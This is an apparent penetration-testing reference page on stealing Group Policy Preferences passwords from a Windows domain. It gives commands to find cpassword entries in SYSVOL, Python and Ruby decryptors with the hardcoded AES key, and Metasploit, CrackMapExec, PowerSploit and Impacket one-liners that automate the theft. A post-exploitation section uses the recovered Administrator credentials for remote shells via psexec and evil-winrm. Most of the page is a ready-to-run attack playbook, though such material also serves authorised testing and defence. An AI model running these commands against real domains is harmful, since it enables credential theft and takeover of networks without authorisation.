Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

Overview

Group Policy Preferences (GPP) allowed admins to set local passwords via Group Policy. The password was encrypted with a known AES key published by Microsoft. Any domain user can read SYSVOL and decrypt these. Microsoft patched this in MS14-025, but old policies may still exist.

Where to Find GPP Files

SYSVOL share (readable by all domain users):
\\DOMAIN_CONTROLLER\SYSVOL\domain.local\Policies\

Files Containing cpassword

Groups.xml          — Local user/group changes
Services.xml        — Service account passwords
Scheduledtasks.xml  — Scheduled task credentials
DataSources.xml     — Database connection strings
Printers.xml        — Printer credentials
Drives.xml          — Mapped drive credentials

Find GPP XML Files

findstr /S /I "cpassword" \\DOMAIN_CONTROLLER\SYSVOL\domain.local\Policies\*.xml
Get-ChildItem -Path "\\DC01\SYSVOL" -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml -ErrorAction SilentlyContinue | Select-String "cpassword"

Example Groups.xml

<Groups>
  <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-01" uid="{...}">
    <Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="Administrator"/>
  </User>
</Groups>

Decrypt cpassword

gpp-decrypt (Kali)

gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

Python

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

key = bytes.fromhex("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
iv = b'\x00' * 16
cpassword = "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

pad = len(cpassword) % 4
if pad: cpassword += "=" * (4 - pad)

cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(base64.b64decode(cpassword)), AES.block_size)
print(plaintext.decode('utf-16-le'))

Ruby

ruby -e 'require "openssl"; require "base64"; puts OpenSSL::Cipher.new("AES-256-CBC").tap{|c| c.decrypt; c.key=["4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b"].pack("H*"); c.iv="\x00"*16}.update(Base64.decode64("CPASSWORD_HERE"))'

Automated Tools

CrackMapExec

crackmapexec smb DC_IP -u user -p password -M gpp_password

Metasploit

use auxiliary/scanner/smb/smb_enum_gpp
set RHOSTS DC_IP
set SMBUser user
set SMBPass password
run

Get-GPPPassword (PowerSploit)

Import-Module .\Get-GPPPassword.ps1
Get-GPPPassword

Impacket

impacket-Get-GPPPassword domain.local/user:password@DC_IP

Post-Exploitation

Found credentials → test them:
crackmapexec smb TARGET -u Administrator -p 'DecryptedPassword'
impacket-psexec domain.local/Administrator:'DecryptedPassword'@TARGET
evil-winrm -i TARGET -u Administrator -p 'DecryptedPassword'

Quick Reference

ToolWhere
gpp-decryptKali (built-in)
CrackMapExec gpp_passwordAttacker
Get-GPPPasswordTarget (PowerShell)
impacket-Get-GPPPasswordAttacker
Manual findstrTarget (CMD)